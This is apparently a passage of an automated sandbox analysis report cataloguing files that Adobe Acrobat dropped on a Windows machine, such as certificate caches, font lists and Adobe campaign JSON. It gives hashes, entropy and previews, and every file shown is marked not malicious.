Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklBjSDKVltfllXlE/HT8kj7vNNX8RolJuRdxLlGB9lQRYwpDdt:kK9uPeT8M7VNMa8RdWBwRd
MD5:	EEF90F9DDF23E25468352F6449EDBF78
SHA1:	78A767664B7DE3226EE9586AC8D2EBF580C40573
SHA-256:	E62D0DC788B4ED783D9FD80147C36A22DD2F23B04DCE953F2561A3E25AD87773
SHA-512:	8E45C049FC1E1705A8DBA0EF551E8855233779FD7E699FF3987A4A260664CDC5FB5712010DAC8B1F1F0713800BC9DDAE6E95233C5D4EBBAB1EF760566633A980
Malicious:	false
Preview:	p...... ...........c..(....................................................... ..........W....v...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2319854253366045
Encrypted:	false
SSDEEP:	6:kKh/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:J/iDImsLNkPlE99SNxAhUe/3
MD5:	FE9F1F96B121E2E5A3C61F0EE90B6E71
SHA1:	918EB1CDF5042630760EBCE10D6115BFB40F2828
SHA-256:	306BE214EED52F0E689FAC7774F59EAAE82E69291CF0888D564F7D24D8245C3A
SHA-512:	BFEBAF45A7871152B050C318AEC41FF04440D595A98DD6537ED187D10A23835517EDABB6B055E4B288EC407597B11896803CADFA282693C788CA77A64F668B82
Malicious:	false
Preview:	p...... .........l.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6156

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346090788879546
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJM3g98kUwPeUkwRe9:YvXKXf7YXJ4UTbdZBGMbLUkee9
MD5:	F9C0DD82A122A8137E4B1AA9D0FEF291
SHA1:	611429F70602C8389C7593DDF8663C3CC26F0EA1
SHA-256:	60FD69AEF380F172FA4F3631149E38805A3EB0DD7284BCE5D8899DA461ABDBCA
SHA-512:	4E0EEA8206FC9B8FF2653944DF773F0D45DF6D23E2B43982ACD799580AE9B5CB140B78EB0F61E30B0B9B1DBF9C25957C66D8CE59D8979CFA91E56F474B3760C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2802541839138435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfBoTfXpnrPeUkwRe9:YvXKXf7YXJ4UTbdZBGWTfXcUkee9
MD5:	ED12E4D8AF4BFB221594F746A5C3C0B1
SHA1:	C558ECAE1A9089F3F2E395B1E467803CE0DEC571
SHA-256:	D7B714C902FB705D2534510F482AF0633666F3E0F822730608C20712D372B1DB
SHA-512:	CD5169DFE46846C70C794476FDB7A0A486EBAD5ED0D4FF9D8C0472286C0F7A3B7B43756E3C4A3E1ECA09D34002B2A3D3ECAE1216908DDBC20DA648DF14358DB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.258665857178705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfBD2G6UpnrPeUkwRe9:YvXKXf7YXJ4UTbdZBGR22cUkee9
MD5:	90B91B00DD138E32C9AA171BF9FC02E7
SHA1:	C16DBC8BB2D40D37446ECBB7B5C531A13B98484F
SHA-256:	E4EA5A483A45E0B5A9CF6A10BBEDE0E706520481727CF7A7F0D242308BADE04E
SHA-512:	0DFBB0272F006ABA57A59DC599A48CB2A52CD0452AE34FE800A680E07B8A87A624DB8866130CB6F0F1AB84D3A02BCA94E227F254932B95A264EB45B80135A2BD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.319763442718044
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfPmwrPeUkwRe9:YvXKXf7YXJ4UTbdZBGH56Ukee9
MD5:	F816FCB99207BF2B3499061834466408
SHA1:	FAFEC41EB44DB21DFA8DD30A6ED46925916AC989
SHA-256:	2E4BDBEE6C125320C042A42D63705821BDF5B602F3EADAA03412A482541546B2
SHA-512:	2EFE401E14E9E4436686A659AD018DB5D43DD54E17096B5E0F34FFE4418B6F0B3A49D0FFEBE491F8D7505E8D412AA5CD96379222412C8286A720A6457DE8E9CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.68397106439054
Encrypted:	false
SSDEEP:	24:Yv6XfE54UX+pLgE9cQx8LennAvzBvkn0RCmK8czOCCSYS:YvOEmw+hgy6SAFv5Ah8cv/YS
MD5:	260AB787A3D9205F66F072F95668E160
SHA1:	5E5B9D6C51F5A6BB0476FECF16D10E0C449E9943
SHA-256:	ACC1954A4E9076935292AE2EAF61E164C2B26393E80132CB7AD93E65B8FE4271
SHA-512:	A84192521CD3EFCD9E720A3ACA1479B0B57E95D6D23A9888C965E914D437795EB198F4E398C31FD52C48FE7A2ED28EC1372FAA3D5A03DA04B979B97F8EE5ACB1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.258742309517018
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJf8dPeUkwRe9:YvXKXf7YXJ4UTbdZBGU8Ukee9
MD5:	EBFD1F6104E42DF8B79E710BDAD1B2EF
SHA1:	20D52B6C45A6BACD403946DEC19702352BE48AF8
SHA-256:	86A26F07937487E1E84EE4BCDB38C406ADDA5EE97CAB6B2784E332D6B464C6F8
SHA-512:	DA898ED972F7F273D83DBFF5DFFD2153FBD7F1DC1138CC5F7E439BC70C6CF8DFA1FEC3E608CDA5E2DC771A70E8C787CA25C311480DBE286749170A8374684393
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.261834614708265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfQ1rPeUkwRe9:YvXKXf7YXJ4UTbdZBGY16Ukee9
MD5:	24E364AE2B56D3CE8D59D35057730D38
SHA1:	DF1C14BC3D36F5F03428C7144099E4B9DAB1CA06
SHA-256:	4B2BA4D87A7FE3813697A00AFE6A3C29F0D670C8482DDBC2AE257ED9EED66182
SHA-512:	B4ACE00A29952B1888D2545F447FABDA9D100A680560A786027233F7A40887596D8E85268C6C08B8D7281ED094329DAA8F98306E465512027F0C745A9BC6F5F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272742716662691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfFldPeUkwRe9:YvXKXf7YXJ4UTbdZBGz8Ukee9
MD5:	05B55F0E278EF71B93B3F9EE32C91164
SHA1:	2194646B49482B667833F36A9A9A9F34C4BC27E3
SHA-256:	B0273ECB9219657710EF26EF690F0435B98DA15E6B4EDE9E221241DBF26542D0
SHA-512:	57CA6ABF01A8359A3079D7EB6635BE93BFF4B4245217A6092210C85FC86CF9AECEBD21AF0403622E4CCB400A0938EE61872BEDF19CF5BF9442FD7E1A5FECD58D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.285615040990685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfzdPeUkwRe9:YvXKXf7YXJ4UTbdZBGb8Ukee9
MD5:	7283A7B972EA7A0CA1C20658CAC798AA
SHA1:	EA362A1237A100F0440B2A7707402B9D1BA3A248
SHA-256:	918F6EB930AFC511151BE8EAFFBD1B38049611E418768468E3DBA640DBDAFD8E
SHA-512:	0FE82D2DD0A697160E232FF121475C3A65A8EBABA7AFC593D082B492B942479178652381B4419CC8457B0CD5F373258AA2ADF40E62D9E195360FBECA954BEFD3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"0b27bca1-c390-4eed-ae02-779a57cff159","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736722541482,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.265835598730439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHVxfpVYXQc12UXjb24kF0YeyoAvJfYdPeUkwRe9:YvXKXf7YXJ4UTbdZBGg8Ukee9
MD5:	4B08F586924A48A5AF67A50FE5F7F11D
SHA1:	FB52311B19CD662CD2FFFEA87E430D74DF7FFCCB
SHA-256:	388C5CB2F25BBD0EEBC0B5D9030996067D51987AF5C31E50A0D98BF7B37ED7FC
SHA-512:	6FC6763FFD1DDA62572E9A766A90E7C1ACDAEA29F95E377E8A2ED8BBB6EE777F89B4A063EFECDFED0BA249AAC5C15063E837E788CE16A6D8D4F7DB00DC7EB968
Malicious:	false
